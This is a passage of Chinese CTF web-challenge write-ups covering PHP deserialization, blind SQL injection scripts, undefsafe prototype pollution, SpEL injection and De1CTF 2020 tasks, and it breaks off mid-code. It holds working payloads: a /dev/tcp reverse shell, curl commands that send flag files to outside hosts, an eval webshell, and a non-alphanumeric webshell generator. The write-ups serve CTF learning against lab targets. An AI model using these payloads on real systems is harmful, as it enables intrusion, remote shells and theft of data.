7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class FileHandler {

public $op;
public $filename;
public $content;

function __construct() {
$op = "2e0";
$filename = "flag.php";
}

public function set($filename) {
$this->op = '2e0';
$this->filename = $filename;
}
}


$url = 'http://5f56366ab1864e38b5d46f4b070e8082a5878207423a4008.cloudgame1.ichunqiu.com/?str=';

$file = new FileHandler;
$file->set($_GET[1]);

$payload = urlencode(serialize($file));
echo file_get_contents($url . $payload);

#echo urlencode(serialize($payload));


利用弱类型比较来绕过if($this->op === "2")$this->op = "1";
将FileHandler中的变量改为public来绕过is_valid的限制
读取 /proc/self/cmdline 得知配置文件:/web/config/httpd.conf
读取配置文件得知 web目录:DocumentRoot "/web/html"
读取flag:/web/html/flag.php

trace

只有一个register.php,fuzz方向存在sql注入漏洞
由于题目限制最多只能插入20个数据,于是我们让mysql在运算的时候报错就不会插入数据,避免了多次重开容器的麻烦
测试后,具体payload为:username=','aaa'-if(ascii(select substr(database(),1,1))>1,sleep(5)-exp(~(select * from(select user())a)),exp(~(select * from(select user())a))))%23&password=aaa

因为information_schema被过滤,还有其他的一些能够查询表名的表不存在,于是只能猜测表名

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import time


#修改bigger和sqlinj就好


#实现bigger才能使用
def findByDichotomy(begin,end):
max_num=end
while True:
mid=int((begin+end)/2)
if begin==max_num:
return False
if begin==end:
return begin
if end-begin==1:
if bigger(begin):
return end
else:
return begin
if bigger(mid):
begin=mid+1
else:
end=mid
#待求数据大于num
def bigger(num):
time.sleep(0.5)
sql="select group_concat(b) from (select (select 1)a,(select 2)b union select * from flag)`table`"
burp0_url = "http://2e22e4f7edf54994ae0a08c8acf108e6b85804ee8a8144c6.cloudgame2.ichunqiu.com:80/register_do.php"
burp0_cookies = {"UM_distinctid": "16f8014229c357-04d5c848290106-6701b35-240000-16f8014229d768", "Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1587227364", "Hm_lpvt_2d0601bd28de7d49818249cf35d95943": "1589089931", "__jsluid_h": "5303c9bcf8d25c671142a156f959a817"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://2e22e4f7edf54994ae0a08c8acf108e6b85804ee8a8144c6.cloudgame2.ichunqiu.com/register.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"username": "','aaa'-if((ascii(substr(( {sql} ),{POS},2))>{GUESS}),sleep(2)-exp(~(select * from(select user())a)),exp(~(select * from(select user())a))))#".format(GUESS=num,POS=pos,sql=sql), "password": "aaa"}
try:
r=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,timeout=2)
except Exception:
return True
print("test "+str(num))
print(r.text)
return False
def less(num):
pass
def equal(num):
pass


#1,flag{}
result="2,flag{"
pos=len(result)+1
while True:
num=findByDichotomy(32,128)
if num is False:
print(result)
break
result+=chr(num)
print(result)
pos+=1

notes

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

谷歌发现unsafe的某些版本存在原型链污染漏洞 https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

阅读代码发现可以通过edit_note来污染原型链结合status处来命令执行

payload:id=__proto__.abc&author=curl http://http.requestbin.buuoj.cn/19tjk5d1?aaaaa=1&raw=ls

令我有些不解的是,我本地复现payload为:id=__proto__&author=curl http://http.requestbin.buuoj.cn/19tjk5d1?aaaaa=1&raw=ls,本地是可以的,打靶机的时候反而不行

SpEL表达式注入漏洞

SpEL表达式注入漏洞

简介

Spring Expression Language(简称SpEL)。SpEL引擎作为Spring 组合里的表达式解析的基础 ,但它不直接依赖于Spring,可独立使用。

SpEL测试代码

1
2
3
4
5
6
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'");
//Expression randomPhrase = parser.parseExpression("123",new TemplateParserContext());
String message = (String) exp.getValue();
//String message = exp.getValue(String.class);

上述代码含义为首先创建ExpressionParser解析表达式,之后放置表达式,最后通过getValue方法执行表达式,默认容器是spring本身的容器:ApplicationContext

TemplateParserContext添加了 表达式模板 解析器

SpEL语法

使用SpEL接口进行表达式求值

1
2
3
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'");
String message = (String) exp.getValue();

方法调用,访问属性,调用构造函数

这些都和平时的java没什么不同,demo:

访问属性:

1
2
3
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'123'.bytes");
System.out.println((Object)exp.getValue());

方法调用:

1
2
3
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'123'.length()");
System.out.println((Object)exp.getValue());

调用构造函数:

1
2
3
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("new String(1234)");
System.out.println((Object)exp.getValue());

访问根对象属性方法等

1
2
3
4
5
6
7
8
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("fucker+tou()");
System.out.println((Object)exp.getValue(new Object(){
public String fucker="fucker";
public String tou(){
return "toutoutou";
};
}));

结果:fuckertoutoutou

传递根对象/#root

StandardEvaluationContext

1
2
3
4
5
6
7
8
9
10
11
12
// Create and set a calendar
GregorianCalendar c = new GregorianCalendar();
c.set(1856, 7, 9);

// The constructor arguments are name, birthday, and nationality.
Inventor tesla = new Inventor("Nikola Tesla", c.getTime(), "Serbian");

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("name");

EvaluationContext context = new StandardEvaluationContext(tesla);
String name = (String) exp.getValue(context);

这里的root object 是 tesla,parser.parseExpression("name");会返回tesla的name属性

getValue

1
2
3
4
5
6
7
8
9
10
// Create and set a calendar
GregorianCalendar c = new GregorianCalendar();
c.set(1856, 7, 9);

// The constructor arguments are name, birthday, and nationality.
Inventor tesla = new Inventor("Nikola Tesla", c.getTime(), "Serbian");

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("name");
String name = (String) exp.getValue(tesla);

数组和列表和字典 取值

属性名的第一个字母可以是大小写敏感的。数组和列表的内容可以使用方括号来标记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ExpressionParser parser = new SpelExpressionParser();

// Inventions Array
StandardEvaluationContext teslaContext = new StandardEvaluationContext(tesla);

// evaluates to "Induction motor"
String invention = parser.parseExpression("inventions[3]").getValue(
teslaContext, String.class);

// Members List
StandardEvaluationContext societyContext = new StandardEvaluationContext(ieee);

// evaluates to "Nikola Tesla"
String name = parser.parseExpression("Members[0].Name").getValue(
societyContext, String.class);

// List and Array navigation
// evaluates to "Wireless communication"
String invention = parser.parseExpression("Members[0].Inventions[6]").getValue(
societyContext, String.class);

Maps的值由方括号内指定字符串的Key来标识引用。在下面这个例子中,因为Officers map的Key是string类型,我们可以用过字符串常量指定。

1
2
3
4
5
6
7
8
9
10
11
12
// Officer's Dictionary

Inventor pupin = parser.parseExpression("Officers['president']").getValue(
societyContext, Inventor.class);

// evaluates to "Idvor"
String city = parser.parseExpression("Officers['president'].PlaceOfBirth.City").getValue(
societyContext, String.class);

// setting values
parser.parseExpression("Officers['advisors'][0].PlaceOfBirth.Country").setValue(
societyContext, "Croatia");

声明数组列表和字典

列表:

1
2
3
4
// evaluates to a Java list containing the four numbers
List numbers = (List) parser.parseExpression("{1,2,3,4}").getValue(context);

List listOfLists = (List) parser.parseExpression("{{'a','b'},{'x','y'}}").getValue(context);

字典:

1
2
3
4
// evaluates to a Java map containing the two entries
Map inventorInfo = (Map) parser.parseExpression("{name:'Nikola',dob:'10-July-1856'}").getValue(context);

Map mapOfMaps = (Map) parser.parseExpression("{name:{first:'Nikola',last:'Tesla'},dob:{day:10,month:'July',year:1856}}").getValue(context);

数组:

数组可以使用类似于Java的语法创建,创建时可以事先指定数组的容量大小、这个是可选的。 在创建多维数组时还不支持事先指定初始化的值。

1
int[] numbers1 = (int[]) parser.parseExpression("new int[4]").getValue(context);

T操作符

T()运算符会调用类作用域的方法和常量。

T操作符是一个特殊的操作符、可以同于指定java.lang.Class的实例(类型)。静态方法也可以通过这个操作符调用。 **T()引用java.lang包里面的类型不需要限定包全名,但是其他类型的引用必须要。 **

1
2
3
4
5
6
7
Class dateClass = parser.parseExpression("T(java.util.Date)").getValue(Class.class);

Class stringClass = parser.parseExpression("T(String)").getValue(Class.class);

boolean trueValue = parser.parseExpression(
"T(java.math.RoundingMode).CEILING >= T(java.math.RoundingMode).FLOOR")
.getValue(Boolean.class);

表达式模板

表达式模板运行在一段文本中混合包含一个或多个求值表达式模块。各个求值块都通过可被自定义的前后缀字符分隔,一个通用的选择是使用#{ }作为分隔符。

1
2
3
String randomPhrase = parser.parseExpression(
"random number is #{T(java.lang.Math).random()}",
new TemplateParserContext()).getValue(String.class);

结果:random number is xxxx

变量

表达式中的变量可以通过语法#变量名使用。变量可以在StandardEvaluationContext中通过方法setVariable设置。

this和root变量

#this变量永远指向当前表达式正在求值的对象(这时不需要限定全名)。变量#root总是指向根上下文对象。#this在表达式不同部分解析过程中可能会改变,但是#root总是指向根

易错点

T()和new一个类时 除了java.lang下的类,其他类都要需要需要限定包全名

SpEL导致的任意命令执行

常用payload

1
2
3
4
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

利用反射构造绕过黑名单

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}

利用ScriptEngineManager构造绕过黑名单

1
2
3
#{T(javax.script.ScriptEngineManager).newInstance()
.getEngineByName("nashorn")
.eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
1
2
3
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]
.invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]
.invoke(null),'curl 172.17.0.1:9898')

除此以外当执行的系统命令被过滤或者被URL编码掉时我们可以通过String类动态生成字符
如要执行的命令为open /Applications/Calculator.app我们可以采用new java.lang.String(new byte[]{,,...})或者concat(T(java.lang.Character).toString())嵌套来绕过

1
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

一些技巧

new被过滤

可以用NEW

一些相关的ctf题目

de1ctf2020 cal

SpEL提供的两个EvaluationContext的区别

SpEL提供的两个EvaluationContext的区别。
(EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口。有两个开箱即用的实现。)

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。

所以说指定正确EvaluationContext,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext替代StandardEvaluationContext

参考文章

http://rui0.cn/archives/1043

http://ifeve.com/spring-6-spel/ 文档

de1ctf2020

de1ctf 2020

check in

1
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!

测试发现:禁止ph结尾后缀,但是可以上传.htaccess

上传.htaccess

1
2
AddType application/x-httpd-p\
hp .jpg

上传test.jpg

1
<?=eval($_POST[0]);
1
De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

mixture

1
2
3
4
5
6
index.php
profile.php
select.php
member.php
admin.php
logout.php

除了admin其他用户不会检查密码

神奇的注释

1
2
index.php:<!------ Include the above in your HEAD tag ---------->
member.php:<!--orderby-->

后来学长说member.php的orderby参数可以注入,我是有点不信的,后来想想自己没测出来也是正常的:

  1. 我不知道orderby会将输入放在sql语句的位置
  2. 不知道有没有waf,无法确认waf是否存在

image697

。。。我应该fuzz一下的

黑名单:

1
2
if
union

最后的payload:

1
http://134.175.185.244/member.php?orderby=AND case when (ASCII(SUBSTRING((SELECT USER()),1,1)))=1 then BENCHMARK(100000,MD5(NOW())) ELSE 2 END

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import time
#修改bigger和sqlinj就好


#实现bigger才能使用
def findByDichotomy(begin,end):
max_num=end
while True:
mid=int((begin+end)/2)
if begin==max_num:
return False
if begin==end:
return begin
if end-begin==1:
if bigger(begin):
return end
else:
return begin
if bigger(mid):
begin=mid+1
else:
end=mid

#待求数据大于num
def bigger(num):
return sqlinj(num)
def less(num):
pass
def equal(num):
pass

def sqlinj(num):

burp0_url = "http://134.175.185.244:80/member.php"
param={"orderby":"AND case when (ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()),{POS},1)))>{GUESS} then BENCHMARK(100000,MD5(NOW())) ELSE 2 END".format(POS=pos,GUESS=num)}
burp0_cookies = {"PHPSESSID": "p781mlp8a9sp3ggrf1solslvn3"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
try :
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies,params=param,timeout=2)
except Exception:
return True
print("test ",num)
return False


result=""
pos=len(result)+1
while True:
num=findByDichotomy(32,128)
if num is False:
print(result)
break
result+=chr(num)
print(result)
pos+=1
1
2
3
4
member,users
users:id,username,money
member:id,username,password
admin 18a960a3a0b3554b314ebe77fe545c85

在cmd5上找到密码: goodlucktoyou

打开admin是一个phpinfo

search是一个类似文件包含的东东

但是很多都不行如/etc/passwd等等

fuzz后得到源码

select.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include "profile.php";
$search = $_POST['search'];

if($_SESSION['admin']==1){
print <<<EOT
<form class="form" action="select.php" method="post">
<div class="form-group">
<label for="disabledTextInput">You can search anything here!!</label></br>
<input type="text" name="search" id="fromgo" class="form-control">
</div>
</div>
<div class="form-group">
<input type="submit" name="submit" class="btn btn-info btn-md" value="submit">
</div>
</form>
EOT;
}
else{
print <<<EOT
<div class="container">
<div class="row" >
<div class="col-md-10 col-md-offset-4">
<div class="input-group" display:block;margin:0 auto;>
<button class="btn btn-info btn-search " type="button" >You are not admin or not enough money!</button>
</span>

</div><!-- /input-group -->
</div><!-- /.col-lg-6 -->
</div>
</div>
EOT;
}
if($_SESSION['admin']==1&&!empty($search)){
//var_dump(urldecode($search));
Minclude(urldecode($search));
//lookup($search);
}

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "profile.php";
session_start();
if(empty($_SESSION['user'])){
header("location: index.php");
}
if($_SESSION['admin']==1){
phpinfo();
}
else{
print <<<EOT
<div class="row">
<div class="col-md-6 col-md-offset-4">You are not admin!!!!</div>
</div>
EOT;

}

member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
include "profile.php";
include "config.php";
$orderby = $_GET['orderby'];
?>

<?php
print <<<EOT
<div class="table-responsive">
<table class="table">
<!--orderby-->
<caption>ALLmember</caption>
<thead>
<tr>
<th>id</th>
<th>username</th>
<th>money</th></tr>
</thead>
<tbody>
EOT;
if(!empty($orderby)){
$blacklist = "/if|desc|sleep|rand|updatexml|\^|union|\|\||&&|regexp|exp|extractvalue|length|hex/i";
if(preg_match($blacklist, $orderby))
exit("No~~hacker!");
$sql = "SELECT * FROM users order by id ".$orderby;
$result = $mysqli->query($sql);
if($result===false){
$sql="SELECT * FROM users";
}
}
else{
$sql = "SELECT * FROM users";
}
$result = $mysqli->query($sql);
/* free result set */
while($row = $result->fetch_row()){
//var_dump($row);
print <<<EOT
<tr>
<td>$row[0]</td>
<td>$row[1]</td>
<td>$row[2]</td></tr>
<tr>
EOT;
}
$result->free();
$mysqli->close();
print <<<EOT
</tbody>
</table>
</div>
EOT;

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
error_reporting(0);
include "config.php";
session_start();
if(!empty($_SESSION['user'])){
header("location: /profile.php");
}
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
if(!empty($username)&&!empty($password)){
if($username==='admin')
{
$sql = "select password from member";
$result = $mysqli->query($sql);
$row = $result->fetch_row();
if($row[0]===md5($password)){
$_SESSION['user']='admin';
$_SESSION['admin']=1;
header("location: /profile.php");
}
else{
echo "<script>alert('nononon,admin password not right')</script>";
}
}
else{
$_SESSION['user']='guest';
$_SESSION['admin']=0;
header("location: /profile.php");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="static/bootstrap.min.js"></script>
<script src="static/jquery.min.js"></script>
<style>
.fakeimg {
height: 200px;
background: #aaa;
}
</style>
</head>
<!------ Include the above in your HEAD tag ---------->
<body>
<div id="login">
<div class="container">
<div id="login-row" class="row justify-content-center align-items-center">
<div id="login-column" class="col-md-6">
<div id="login-box" class="col-md-19">
<form id="login-form" class="form" action="index.php" method="post">
<h3 class="text-center text-info">Login</h3>
<div class="form-group">
<label for="username" class="text-info">Username:</label><br>
<input type="text" name="username" id="username" class="form-control">
</div>
<div class="form-group">
<label for="password" class="text-info">Password:</label><br>
<input type="password" name="password" id="password" class="form-control">
</div>
<div class="form-group">
<input type="submit" name="submit" class="btn btn-info btn-md" value="submit">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</body>

emm,Minclude是什么神奇的东西

image8380

fuzz后发现其实是读取内存里的内容

fuzz得到/readflag,从中可知flag在/flag中

image8517

但是要运行的话,那就必须拿到shell,还是说flag在这个程序里

现有以下几种想法:

  1. 利用/proc/xx/cwd/flag来拿到flag但是,fuzz到10000还没有
  2. 从内存中直接拿到flag(好像不行)
  3. 从程序中拿到flag(不会,也不清楚行不行)
  4. 拿到shell(没思路)
  5. Minclude有洞(没找到)

再见

em?

../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

这样也能读取文件,有没有机会文件包含?

Hard_Pentest_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}

//内容限制:preg_match('/[a-z0-9;~^`&|]/is',$file_content)==false
//后缀限制:不能为:php,不包含..

function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>

</body>
</html>


第一步绕过后缀名:.phP

第二步绕过文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$a = 'A';
$b = 'SYSTEM';//$b = 'readfile';
$c = "POST";
$vv = '__';
$v = '_';
function fuck($b){
$data = '';
$a = 'A';
$vv = '__';
$v = '_';
for ($i = 0; $i < strlen($b); $i++) {
if (ord($b[$i]) >= ord('a') && ord($b[$i]) <= ord('z')) {
$data .= '($' . $v . '=$____),';
for ($a = ord('a'); $a < ord($b[$i]); $a++) {
$data .= '($' . $v . '++),';
}
} else if (ord($b[$i]) >= ord('A') && ord($b[$i]) <= ord('Z')) {
$data .= '($' . $v . '=$___),';
for ($a = ord('A'); $a < ord($b[$i]); $a++) {
$data .= '($' . $v . '++),';
}
} else {
$data .= '$' . $v . '="' . $b[$i] . '";';
}
$data .= '($' . $vv . '.=$' . $v.'),';
}
return $data;
}
$a='<?=[($_=[]),($_=@"$_"),($___=$_[("!"!="!")]),($____=$_[("!"=="!")+("!"=="!")+("!"=="!")]),'.fuck($b).'$_____=$__]?>';//system
$a.='<?=[($__="_"),($_=[]),($_=@"$_"),'.fuck($c).'$_]?>';//_POST
$a.='<?=[($_____($$__[_]))]?>';
echo $a;

calc

1
2
GET /spel/calc?calc='1'%2b'1' => 11
GET /spel/calc?calc='1'.length {"timestamp":"2020-05-05T07:23:42.244+0000","status":500,"error":"Internal Server Error","message":"EL1008E: Property or field 'length' cannot be found on object of type 'java.lang.String' - maybe not public or not valid?","path":"/spel/calc"}

谷歌一段时间后发现这里使用spel(Spring 表达式语言 Spring Expression Language )来计算的

黑名单:getClass,String,#,new,T(,reader

1
''.class.forName('java.l'%2b'ang.Ru'%2b'ntime').getMethod('ex'%2b'ec',''.class)

原本想那shell的后来看到OpenRASP,想想还是直接读取文件方便一点

构造payload:

neW+java.io.RandomAccessFile('/flag','r').readLine()

SpEL中除了java.lang下的类,其他的类在实例化的是否需要完整的包名

flag:De1CTF{NobodyKnowsMoreThanTrumpAboutJava}

4月做题

4月做题

happyctfd

刚开始看这个非常怕…后来谷歌了一下ctfd的cve直接打穿,这题就是弟弟

https://copyfuture.com/blogs-details/20200305225221297r8myv7xpvv0lqr0

登陆后台后把数据导出就拿到flag了

flag{1b236e8e-8f64-461d-a973-7059e706aeec}

finalsql

有两处注入点

第一处:

/search.php?id=1

黑名单:hex,if, ,and

payload:/search.php?id=1/(((select(ord(substr(group_concat(table_name),20,1)))from(information_schema.tables)where(table_schema=database()))-31)>0)

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import time
#修改bigger和sqlinj就好


#实现bigger才能使用
def findByDichotomy(begin,end):
max_num=end
while True:
mid=int((begin+end)/2)
if begin==max_num:
return False
if begin==end:
return begin
if end-begin==1:
if bigger(begin):
return end
else:
return begin
if bigger(mid):
begin=mid+1
else:
end=mid

#待求数据大于num
def bigger(num):
return sqlinj(num)
def less(num):
pass
def equal(num):
pass

def sqlinj(num):


burp0_url = "http://ff83c0e6-205f-4296-a512-fe2919cdeda4.node3.buuoj.cn:80/search.php?id=1/(((select(ord(substr(group_concat(username,',',password),POS,1)))from(F1naI1y))-GUESS)>0)".replace("GUESS",str(num)).replace("POS",str(pos))
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.162 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://ff83c0e6-205f-4296-a512-fe2919cdeda4.node3.buuoj.cn/", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
res=requests.get(burp0_url, headers=burp0_headers)
time.sleep(0.5)
print("test ",num)
if "NO! Not this! Click others~~~" in res.text:
return True
else:
return False


result="mygod,cl4y_is_really_amazing,welcome,welcome_to_my_blog,site,http://www.cl4y.top,site,http://www.cl4y.top,site"
pos=len(result)+1
while True:
num=findByDichotomy(32,128)
if num is False:
print(result)
break
result+=chr(num)
print(result)
pos+=1

数据库:information_schema,test,performance_schema,mysql,geek

1
2
3
4
5
6
7
F1naI1y,Flaaaaag

Flaaaaag:id,fl4gaws

F1naI1y:id,username,password

mygod,cl4y_is_really_amazing,welcome,welcome_to_my_blog,site,http://www.cl4y.top,site,http://www.cl4y.top,site,http://www.cl4y.top,site,http://www.cl4y.top,Syc,welcom_to_Syclover,finally,cl4y_really_need_a_grilfriend,flag,flag{2e7c980e-7fff-443b-8d1a-1371eaa326ba}

测试后第二次发现不如第一处好用,就不写了

checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
